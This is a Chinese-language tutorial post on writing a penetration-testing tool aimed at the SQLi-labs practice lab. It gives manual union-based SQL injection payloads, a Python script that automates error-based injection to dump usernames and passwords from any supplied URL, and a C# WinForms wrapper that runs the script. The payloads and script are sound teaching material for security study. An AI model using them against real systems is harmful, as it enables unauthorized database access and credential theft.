使用C#winform編寫滲透測試工具--SQL注入

本篇文章主要介紹使用C#winform編寫滲透測試工具,實現SQL注入的功能。使用python編寫SQL注入指令碼,基於get顯錯注入的方式進行資料庫的識別、獲取表名、獲取欄位名,最終獲取使用者名稱和密碼;使用C#winform編寫windows客戶端軟體呼叫.py指令碼,實現使用者名稱和密碼的獲取。

目錄

  1. SQL注入

  2. 實現步驟

  3. 程式碼實現

  4. 軟體使用步驟

一、SQL注入

原理

SQL注入是指攻擊者在Web應用程式中事先定義好的查詢語句的結尾加上額外的SQL語句,這些一般都是SQL語法裡的一些組合,通過執行SQL語句進而執行攻擊者所要的操作。(危害:盜取網站敏感資訊、繞過驗證登入網站後臺、藉助資料庫的儲存過程進行許可權提升等操作)。造成的原因是程式設計師在編寫Web程式時,沒有對瀏覽器提交的引數進行嚴格的過濾和判斷,使用者可以構造引數,提交SQL查詢語句,並傳遞到伺服器端,從而獲取敏感資訊。

方法

  1. 確定Web應用程式使用的技術:與設計語言或者硬體關係密切,工具Nessus、AWVS、APPScan;
  2. 確定所有可能的輸入方式:攻擊者可以通過隱藏的HTML表單輸入、http頭部、cookies、後端AJAX請求來跟WEB應用進行互動,使用web代理如Burp;
  3. 查詢可以用於注射的使用者輸入:多多留意web應用的錯誤頁面。

常使用的方法:

  • “單引號”法:第一種檢測SQL注入漏洞是否存在的方法是“單引號”法。方法很簡單,直接在瀏覽器位址列中的網址連結後加上一個單引號,如果頁面不能正常顯示,瀏覽器返回一些異常資訊,則說明該連結可能存在注入漏洞。
  • 1=1和1=2法:直接在連結地址後分別加上and 1=1和and 1=2進行提交,如果返回不同的頁面,那麼說明存在SQL注入漏洞。

二、實現步驟

搭建靶場環境

  • 搭建SQLi-labs靶場環境,網上也有很多教程,可以參照sqli-labs下載與安裝進行搭建。搭建後進入Less-1。

  • 為測試環境搭建成功,首先Less-1後跟隨?id=1的引數,若成功返回結果,代表環境可以使用。

  • SQLi-labs靶場環境中有許多注入方式可以練習,包括get顯錯注入、get盲注、post顯錯注入、post盲注等,這裡主要針對get顯錯注入,後面的編寫的指令碼也是針對get顯錯注入。首先嚐試id的值為一些特殊的符號(如單引號'、雙引號"、括號)、反斜線/等),輸入?id=1',發現報錯,說明此處可能有注入點,同時確認資料庫為MYSQL資料庫。

  • 使用order by判斷欄位數,通過輸入?id=1' order by 1 --+,頁面返回正常資訊,再輸入?id=1' order by 2 --+,一直到id=1' order by 4 --+,頁面報錯,這時候我們就可以知道此表中有3列資料。

  • 使用union select聯合查詢方式獲得庫名、表名、欄位名。首先輸入id=0' union select 1,user(),database() --+,得到使用者名稱和使用資料庫的庫名。

  • 獲取表名時需要藉助MySQL資料庫中系統庫information_schema,使用group_concat()來獲取正在使用的庫中有哪些表傳入的引數,具體用法為傳輸引數?id=0' union select 1,DATABASE(),group_concat(table_name) from information_schema.tables where table_schema=DATABASE() --+,獲得當前資料庫使用的表名。

  • 使用同樣的方法id=0' union select 1,group_concat(username),group_concat(password) from users--+,獲得獲取欄位名。

  • 利用group_concat()獲取欄位值,具體為傳輸引數?id=0' union select 1,group_concat(username),group_concat(password) from users--+獲得使用者名稱和密碼。

三、程式碼實現

使用python編寫指令碼實現自動注入

import time
import sys
from urllib import request
from bs4 import BeautifulSoup def log(content):
this_time = time.strftime('%H:%M:%S', time.localtime(time.time()))
print('[' + str(this_time) + '] ' + content) def send_request(url):
# log(url)
res = request.urlopen(url)
result = str(res.read().decode('utf-8'))
return result def can_inject(test_url):
test_list = ['%27', '%22']
for item in test_list:
target_url1 = test_url + str(item) + '%20' + 'and%201=1%20--+'
target_url2 = test_url + str(item) + '%20' + 'and%201=2%20--+'
result1 = send_request(target_url1)
result2 = send_request(target_url2) soup1 = BeautifulSoup(result1, 'html.parser')
fonts1 = soup1.find_all('font')
content1 = str(fonts1[2].text) soup2 = BeautifulSoup(result2, 'html.parser')
fonts2 = soup2.find_all('font')
content2 = str(fonts2[2].text) if content1.find('Login') != -1 and content2 == None or content2.strip() == '':
log('Use ' + item + ' -> Exist SQL Injection')
return True, item
else:
log('Use ' + item + ' -> Not Exist SQL Injection')
return False, None def test_order_by(url, symbol):
flag = 0
for i in range(1, 100):
log('Order By Test -> ' + str(i))
test_url = url + symbol + '%20order%20by%20' + str(i) + '--+'
result = send_request(test_url)
soup = BeautifulSoup(result, 'html.parser')
fonts = soup.find_all('font')
content = str(fonts[2].text)
if content.find('Login') == -1:
log('Order By Test Success -> order by ' + str(i))
flag = i
break
return flag def get_prefix_url(url):
splits = url.split('=')
splits.remove(splits[-1])
prefix_url = ''
for item in splits:
prefix_url += str(item)
return prefix_url def test_union_select(url, symbol, flag):
prefix_url = get_prefix_url(url) test_url = prefix_url + '=0' + symbol + '%20union%20select%20' for i in range(1, flag):
if i == flag - 1:
test_url += str(i) + '%20--+'
else:
test_url += str(i) + ','
result = send_request(test_url)
soup = BeautifulSoup(result, 'html.parser')
fonts = soup.find_all('font')
content = str(fonts[2].text)
for i in range(1, flag):
if content.find(str(i)) != -1:
temp_list = content.split(str(i))
return i, temp_list def exec_function(url, symbol, flag, index, temp_list, function):
prefix_url = get_prefix_url(url)
test_url = prefix_url + '=0' + symbol + '%20union%20select%20' for i in range(1, flag):
if i == index:
test_url += function + ','
elif i == flag - 1:
test_url += str(i) + '%20--+'
else:
test_url += str(i) + ','
result = send_request(test_url)
soup = BeautifulSoup(result, 'html.parser')
fonts = soup.find_all('font')
content = str(fonts[2].text)
return content.split(temp_list[0])[1].split(temp_list[1])[0] def get_database(url, symbol):
test_url = url + symbol + 'aaaaaaaaa'
result = send_request(test_url)
if result.find('MySQL') != -1:
return 'MySQL'
elif result.find('Oracle') != -1:
return 'Oracle' def get_tables(url, symbol, flag, index, temp_list):
prefix_url = get_prefix_url(url)
test_url = prefix_url + '=0' + symbol + '%20union%20select%20' for i in range(1, flag):
if i == index:
test_url += 'group_concat(table_name)' + ','
elif i == flag - 1:
test_url += str(i) + '%20from%20information_schema.tables%20where%20table_schema=database()%20--+'
else:
test_url += str(i) + ','
result = send_request(test_url)
soup = BeautifulSoup(result, 'html.parser')
fonts = soup.find_all('font')
content = str(fonts[2].text)
return content.split(temp_list[0])[1].split(temp_list[1])[0] def get_columns(url, symbol, flag, index, temp_list):
prefix_url = get_prefix_url(url)
test_url = prefix_url + '=0' + symbol + '%20union%20select%20' for i in range(1, flag):
if i == index:
test_url += 'group_concat(column_name)' + ','
elif i == flag - 1:
test_url += str(i) + '%20from%20information_schema.columns%20where%20' \
'table_name=\'users\'%20and%20table_schema=database()%20--+'
else:
test_url += str(i) + ','
result = send_request(test_url)
soup = BeautifulSoup(result, 'html.parser')
fonts = soup.find_all('font')
content = str(fonts[2].text)
return content.split(temp_list[0])[1].split(temp_list[1])[0] def get_data(url, symbol, flag, index, temp_list):
prefix_url = get_prefix_url(url)
test_url = prefix_url + '=0' + symbol + '%20union%20select%20' for i in range(1, flag):
if i == index:
test_url += 'group_concat(id,0x3a,username,0x3a,password)' + ','
elif i == flag - 1:
test_url += str(i) + '%20from%20users%20--+'
else:
test_url += str(i) + ','
result = send_request(test_url)
soup = BeautifulSoup(result, 'html.parser')
fonts = soup.find_all('font')
content = str(fonts[2].text)
return content.split(temp_list[0])[1].split(temp_list[1])[0].split(',') def do_sql_inject(url):
log('Welcome To SQL Injection Tool')
log('Check For SQL Injection......')
result, symbol = can_inject(url)
if not result:
log('Target Url Not Exist SQL Injection -> Exit')
return
else:
log('Test Order By And Union Select......')
flag = test_order_by(url, symbol)
index, temp_list = test_union_select(url, symbol, flag)
database = get_database(url, symbol)
version = exec_function(url, symbol, flag, index, temp_list, 'version()')
this_database = exec_function(url, symbol, flag, index, temp_list, 'database()')
log('Success -> ' + database.strip() + ' ' + version.strip())
log('Database -> ' + this_database.strip())
tables = get_tables(url, symbol, flag, index, temp_list)
log('Tables -> ' + tables.strip())
log('Default Use Table users......')
columns = get_columns(url, symbol, flag, index, temp_list)
log('Columns -> ' + columns.strip())
log('Try To Get Data......\n\n') datas = get_data(url, symbol, flag, index, temp_list)
temp = columns.split(',')
print('%-12s%-12s%-12s' % (temp[0], temp[1], temp[2]))
for data in datas:
temp = data.split(':')
print('%-12s%-12s%-12s' % (temp[0], temp[1], temp[2])) if __name__ == '__main__':
do_sql_inject(sys.argv[1]+'/?id=1')

編寫windows客戶端軟體呼叫.py指令碼

對於python指令碼中包含第三方模組的情況,同樣,通過直接建立Process程序,呼叫python指令碼,返回掃描結果。

  • 建立按鈕按下事件button1_Click,執行“呼叫python指令碼”函式runPythonsql_inject()
 private void button13_Click(object sender, EventArgs e)
{
richTextBox8.Clear();
runPythonsql_inject();//執行python函式
label39.Text = "開始掃描...";
}
  • 例項化一個python程序 呼叫.py 指令碼
void runPythonsql_inject()
{
string url = textBox10.Text;
p = new Process();
string path = "sql_inject.py";//待處理python檔案的路徑,本例中放在debug資料夾下
string sArguments = path;
ArrayList arrayList = new ArrayList();
arrayList.Add(url);//需要挖掘的域名
foreach (var param in arrayList)//拼接引數
{
sArguments += " " + param;
}
p.StartInfo.FileName = @"D:\Anaconda\python.exe"; //沒有配環境變數的話,可以寫"xx\xx\python.exe"的絕對路徑。如果配了,直接寫"python"即可
p.StartInfo.Arguments = sArguments;//python命令的引數
p.StartInfo.UseShellExecute = false;
p.StartInfo.RedirectStandardOutput = true;
p.StartInfo.RedirectStandardInput = true;
p.StartInfo.RedirectStandardError = true;
p.StartInfo.CreateNoWindow = true;
p.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;
p.Start();//啟動程序
//MessageBox.Show("啟動成功");
p.BeginOutputReadLine();
p.OutputDataReceived += new DataReceivedEventHandler(p_OutputDataReceived_sql_inject);
Console.ReadLine();
//p.WaitForExit();
}
  • 輸出接收事件函式
void p_OutputDataReceived_sql_inject(object sender, DataReceivedEventArgs e)
{
var printedStr = e.Data;
Action at = new Action(delegate ()
{
//接受.py程序列印的字元資訊到文字顯示框
richTextBox8.AppendText(printedStr + "\n");
label39.Text = "掃描結束";
});
Invoke(at);
}

軟體使用步驟

  • 首先在url欄中輸入地址,點選開始查詢,最後得到SQL注入資訊。

github地址:https://github.com/Chenmengx/Penetration-testing-tool